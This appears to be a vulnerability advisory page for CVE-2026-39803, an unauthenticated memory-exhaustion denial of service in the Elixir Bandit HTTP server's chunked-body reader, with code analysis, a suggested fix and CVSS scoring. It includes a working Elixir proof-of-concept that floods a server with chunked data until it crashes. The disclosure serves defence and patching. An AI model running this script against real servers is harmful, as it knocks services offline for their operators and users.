Bandit: Unauthenticated one-shot DoS via Transfer-Encoding: chunked
Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.
In lib/bandit/http1/socket.ex:189, the chunked clause of read_data/2 only forwards :read_length and :read_timeout to do_read_chunked_data!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodata_to_binary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...} — never {:more, ...} — so callers cannot interpose a 413.
The content-length sibling at :210 does the right thing:
```elixir
max_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))
```
Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.
Suggested Fix: track accumulated bytes in do_read_chunked_data! and either return {:more, ...} or raise request_error! once :length is exceeded, mirroring the content-length path.
Self-contained — boots a Bandit server with a realistic Plug.Parsers (length: 8_000_000) and floods it. Save as chunked_oom.exs, run elixir chunked_oom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.
```elixir
Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])
defmodule DemoApp do
use Plug.Builder
# The length option here is ignored by the attack
plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["*/*"], json_decoder: JSON, length: 8_000_000
plug :respond
def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, "ok")
end
{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)
# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.
chunk = :binary.copy(<<?A>>, 1_048_576)
frame = "#{Integer.to_string(1_048_576, 16)}\r\n#{chunk}\r\n"
{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])
:ok =
:gen_tcp.send(sock, """
POST / HTTP/1.1\r
Host: 127.0.0.1\r
Transfer-Encoding: chunked\r
Content-Type: application/json\r
Connection: close\r
\r
""")
Enum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)
:ok = :gen_tcp.send(sock, "0\r\n\r\n")
IO.inspect(:gen_tcp.recv(sock, 0, 120_000))
```
Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.read_body/2 are silently ineffective on the chunked path.
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality none, integrity none, availability high.
The score comes from this vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVE-2026-39803 is classified as CWE-770: Allocation of Resources Without Limits. Resources are allocated on request with no cap, so a client can exhaust them.
CVE-2026-39803 is recorded against 1 package.
Published on 13 May 2026 and last revised on 30 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.
github.com (Advisory)
cna.erlef.org (Web)
github.com (Fix)
hex.pm (Package)
bandit has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-770: Allocation of Resources Without Limits) in other software:
Details
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| bandit | — | — |
References
Similar Threats
Exploit Protection
CVE-2026-39803 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-39803 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.